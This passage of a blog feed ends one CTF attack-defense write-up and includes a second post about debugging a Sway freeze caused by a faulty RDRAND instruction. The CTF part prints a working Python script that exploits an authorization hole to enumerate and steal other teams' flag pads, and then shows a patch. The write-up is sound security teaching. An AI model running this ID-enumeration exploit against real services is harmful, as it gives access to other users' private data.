&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cookies&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;csrftoken&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">csrf&lt;/span>&lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;csrfmiddlewaretoken&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">csrf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;password1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;password2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">SystemExit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">status_code&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">SystemExit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">160&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">last_flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">failed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="n">failed&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">30&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">req&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">BASE_URL&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;p/create/&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cookies&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;csrftoken&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">csrf&lt;/span>&lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;csrfmiddlewaretoken&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">csrf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;title&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">secrets&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">token_hex&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="s1">&amp;#39;pad&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s1">&amp;#39;people&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">reflag&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">v&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">content&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">v&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">status_code&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">200&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">failed&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">failed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">group&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last_flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">i&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Last flag: &amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">last_flag&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This exploit script can actually be improved significantly by only trying the last few&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> &lt;code>pk&lt;/code>s since we only care about new flags. Trying to add all the pads at once instead of going one at a time could also be done to improve speed and is what another team did.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="patching">Patching&lt;/h2>
&lt;p>Now that we know the exploit, we need to come up with a patch. We made it a little over complicated, mainly because we didn&amp;rsquo;t want to risk losing SLA points while also preventing attacks. Our patch was to change the contents of the for loop as such:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-diff" data-lang="diff">&lt;span class="line">&lt;span class="cl"> for pk in form.cleaned_data[&amp;#39;pad&amp;#39;]:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ try:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span>&lt;span class="gd">- pad = Pad.objects.get(pk=pk)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">&lt;/span>&lt;span class="gi">+ pad = Pad.objects.get(Q(project=None)|Q(project__users__in=[request.user]), pk=pk)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ except Pad.DoesNotExist:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ continue
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> pad.project.add(proj)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> pad.save()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This meant that only pads which didn&amp;rsquo;t belong to a project or those that belonged to a project that the user &lt;em>also&lt;/em> belonged to could be added to the new project. From &lt;a href="https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html">saarsec&amp;rsquo;s writeup&lt;/a> it looks like simply checking that the project was &lt;code>None&lt;/code> was just as effective. The &lt;code>try&lt;/code>-&lt;code>except&lt;/code> was completely unnecessary and actually a bad idea because it could let attackers add every single pad at once and only existing ones would get accepted, leaking everything at once &amp;ndash; bad thought on my part.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>This was the value of pads that had already been added when we began the exploit.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>The last &lt;code>pk&lt;/code> can be found by creating a new pad and looking at its &lt;code>pk&lt;/code>.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>This can be seen in saarsec&amp;rsquo;s writeup &lt;a href="https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html">here&lt;/a>. This is also susceptible to spamming pads which would put the valid flags out of the 20 pad checking range. In practice, this either never occurred or had little impact.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>How a Bad Random Number Generator Froze Sway</title><link>https://fluix.one/blog/sway-rng/</link><pubDate>Thu, 21 May 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/sway-rng/</guid><description>&lt;p>Several months ago, I made the decision to switch from the &lt;a href="https://i3wm.org/">i3&lt;/a> window manager, which uses the &lt;a href="https://www.x.org/">X&lt;/a> display protocol, to &lt;a href="https://swaywm.org/">Sway&lt;/a>, which uses the new &lt;a href="https://wayland.freedesktop.org/">Wayland&lt;/a> protocol. This decision was based off the fact that I display-specific workspaces were quite buggy in i3 and because I wanted to try something new. At first it went well, really well in fact; workspaces worked perfectly and any tearing I used to have was nonexistent.&lt;/p>
&lt;p>All was going well until the last week of April after I updated Sway and rebooted. Sway instantly froze on the startup and kept keyboard input. After some investigation, I found that &lt;a href="https://github.com/Alexays/Waybar">Waybar&lt;/a> seemed to be the problem. Removing it from the config let Sway startup and work normally&amp;hellip; or so I thought. Randomly, Sway would completely freeze, the same way that it did on startup, so it was debug time.&lt;/p>
&lt;h2 id="investigation">Investigation&lt;/h2>
&lt;p>While getting a Sway debug log was quite trivial,&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> it didn&amp;rsquo;t yield much.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> The ideal solution would be to find out where Sway is hanging with a core dump, but this posed difficult to do because both Sway and keyboard input was now frozen. Thus, I resorted to the &lt;a href="https://en.wikipedia.org/wiki/System_request">SysRq&lt;/a> shortcuts. These shortcuts are implemented in the kernel to perform basic, yet important, actions in cases like freezes. Below are some of the most common&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> ones:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Shortcut&lt;/th>
&lt;th>Name&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+r&lt;/code>&lt;/td>
&lt;td>Unraw&lt;/td>
&lt;td>Take control of keyboard back from the display server.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+e&lt;/code>&lt;/td>
&lt;td>Terminate&lt;/td>
&lt;td>Send &lt;code>SIGTERM&lt;/code> to all processes, allowing them to terminate gracefully.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+i&lt;/code>&lt;/td>
&lt;td>Kill&lt;/td>
&lt;td>Send &lt;code>SIGKILL&lt;/code> to all processes, forcing them to terminate immediately.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+s&lt;/code>&lt;/td>
&lt;td>Sync&lt;/td>
&lt;td>Flush data to disk.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+u&lt;/code>&lt;/td>
&lt;td>Unmount&lt;/td>
&lt;td>Unmount and remount all filesystems read-only.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;code>Alt+SysRq+b&lt;/code>&lt;/td>
&lt;td>Reboot&lt;/td>
&lt;td>Reboot&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>— &lt;em>Everything beyond here was aided by the generous help of &lt;a href="https://tbrindus.ca" class="userlink">&lt;span class="user"title="Tudor Brindus">Xyene&lt;/span>&lt;/a>. Thank you, if you ever read this.&lt;/em>&lt;/p>
&lt;p>So, to get a core dump of the sway process, I used the unraw shortcut followed by switching to a tty and getting a core dump:&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">gcore&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">sway&lt;/span> &lt;span class="n">pid&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">gdb&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sway&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">core&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">bt&lt;/span> &lt;span class="n">full&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s the important part, really just the first line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="mi">0&lt;/span> &lt;span class="mh">0x00007fcbb1012c6f&lt;/span> &lt;span class="n">in&lt;/span> &lt;span class="nf">json_c_get_random_seed&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">libjson&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">so&lt;/span>&lt;span class="mf">.5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">1&lt;/span> &lt;span class="mh">0x00007fcbb1011fd6&lt;/span> &lt;span class="nf">in&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">libjson&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">so&lt;/span>&lt;span class="mf">.5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">2&lt;/span> &lt;span class="mh">0x00007fcbb100c713&lt;/span> &lt;span class="n">in&lt;/span> &lt;span class="nf">json_object_object_add_ex&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">libjson&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">so&lt;/span>&lt;span class="mf">.5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">3&lt;/span> &lt;span class="mh">0x0000561dc53e42ff&lt;/span> &lt;span class="n">in&lt;/span> &lt;span class="nf">ipc_json_describe_bar_config&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">bar&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">entry&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x561dc6f0cbb0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="p">..&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sway&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sway&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">ipc&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nl">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1013&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">__PRETTY_FUNCTION__&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s">&amp;#34;ipc_json_describe_bar_config&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x561dc74da8b0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gaps&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">optimized&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">colors&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">optimized&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tray_bindings&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">optimized&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tray_bind&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">optimized&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"># Truncated...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What this revealed was that Sway was actually freezing because of &lt;a href="https://json-c.github.io/json-c/">json-c&lt;/a>, a JSON parsing library that Sway uses. Looking at the source code of &lt;a href="https://github.com/json-c/json-c">json-c&lt;/a>, it can be seen calling the &lt;a href="https://github.com/json-c/json-c/blob/31f1ab2be1142d982fc9b8c8913bfd1233599ebb/random_seed.c#L228">&lt;code>json_c_get_random_seed&lt;/code>&lt;/a> function in an &lt;a href="https://github.com/json-c/json-c/blob/31f1ab2be1142d982fc9b8c8913bfd1233599ebb/linkhash.c#L468">infinite loop&lt;/a> while checking if the result is &lt;code>-1&lt;/code>. And so, we found out &lt;em>where&lt;/em> json-c is freezing, but the question of &lt;em>why&lt;/em> remains.&lt;/p>
&lt;p>Delving into &lt;code>json_c_get_random_seed&lt;/code>, another function called &lt;a href="https://github.com/json-c/json-c/blob/31f1ab2be1142d982fc9b8c8913bfd1233599ebb/random_seed.c#L72">&lt;code>get_rdrand_seed&lt;/code>&lt;/a> is ran to try to get a random number using the &lt;a href="https://software.intel.com/sites/default/files/m/d/4/1/d/8/441_Intel_R__DRNG_Software_Implementation_Guide_final_Aug7.pdf">RDRAND&lt;/a> cpu instruction. This seems fine,&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> except when you take into account the fact my CPU is an AMD Ryzen 5 3600X&amp;hellip; which sometimes has a horribly malfunctioning RDRAND instruction that always returns &lt;code>0xFFFFFFFFFFFFFFFF&lt;/code> (which is &lt;code>-1&lt;/code>). This isn&amp;rsquo;t normally an issue because very few processes attempt to use RDRAND without checking if it fails, often relying on &lt;code>/dev/urandom&lt;/code> instead. Both the linux kernel and &lt;a href="https://github.com/systemd/systemd/blob/master/src/basic/random-util.c#L137">systemd&lt;/a> check to make sure &lt;code>RDRAND&lt;/code> returns a sane random number.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>So, to finally fix this glorious bug, Xyene introduced a &lt;a href="https://github.com/json-c/json-c/pull/589">check&lt;/a> into the &lt;code>has_rdrand&lt;/code> function (which checks whether to use the &lt;code>RDRAND&lt;/code> instruction later on) that disables &lt;code>RDRAND&lt;/code> if it returns the same value 10 times in a row. The important section can be seen below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Some CPUs advertise RDRAND in CPUID, but return 0xFFFFFFFF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// unconditionally. To avoid locking up later, test RDRAND here. If over
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// 10 trials RDRAND has returned the same value, declare it broken.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="n">_has_rdrand&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="n">prev&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">get_rdrand_seed&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">get_rdrand_seed&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">temp&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">prev&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_has_rdrand&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">prev&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This leaves the chances of disabling a correctly functioning &lt;code>RDRAND&lt;/code> instruction a whopping &lt;code style="line-break: anywhere">0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004%&lt;/code> (4.68e-95%).&lt;/p>
&lt;p>&lt;em>A follow up patch was also required because of some inline assembly that tried to get the &lt;code>cpuid&lt;/code> bit which can be seen &lt;a href="https://github.com/json-c/json-c/pull/590">here&lt;/a>.&lt;/em>&lt;/p>
&lt;hr>
&lt;p>The associated Sway issue for this blog is &lt;a href="https://github.com/swaywm/sway/issues/5290">swaywm/sway#5290&lt;/a> along with &lt;a href="https://github.com/json-c/json-c/pull/589">json-c/json-c#489&lt;/a> and &lt;a href="https://github.com/json-c/json-c/pull/590">json-c/json-c#590&lt;/a> for the json-c issues.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Just use &lt;code>sway -d 2&amp;gt; log&lt;/code>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>See &lt;a href="https://gist.githubusercontent.com/fluix-dev/e9c7b8c0372bee8804831e423bbbb69f/raw/4bf91ed268f2eeae548f7240a29704b586b126e8/sway.log">here&lt;/a>.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>These are the shortcuts needed for a safe reboot, taken from the &lt;a href="https://wiki.archlinux.org/index.php/Keyboard_shortcuts#Kernel">Arch wiki&lt;/a>.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>This also required a build of Sway which didn&amp;rsquo;t strip symbols. This was done by using the &lt;a href="https://aur.archlinux.org/packages/sway-git/">&lt;code>sway-git&lt;/code>&lt;/a> package off the &lt;a href="https://aur.archlinux.org/">AUR&lt;/a>. Core dump available &lt;a href="https://gist.githubusercontent.com/fluix-dev/9e752c4e03e90bc497679451d4be9663/raw/92df635a4b934c6237fe892877d0b47a39b0d6ed/sway.core">here&lt;/a>.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Now whether using &lt;code>RDRAND&lt;/code> here is a good idea, I&amp;rsquo;m not really sure. All I know is that systemd includes a paragraph explaining why &lt;em>it&lt;/em> does.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
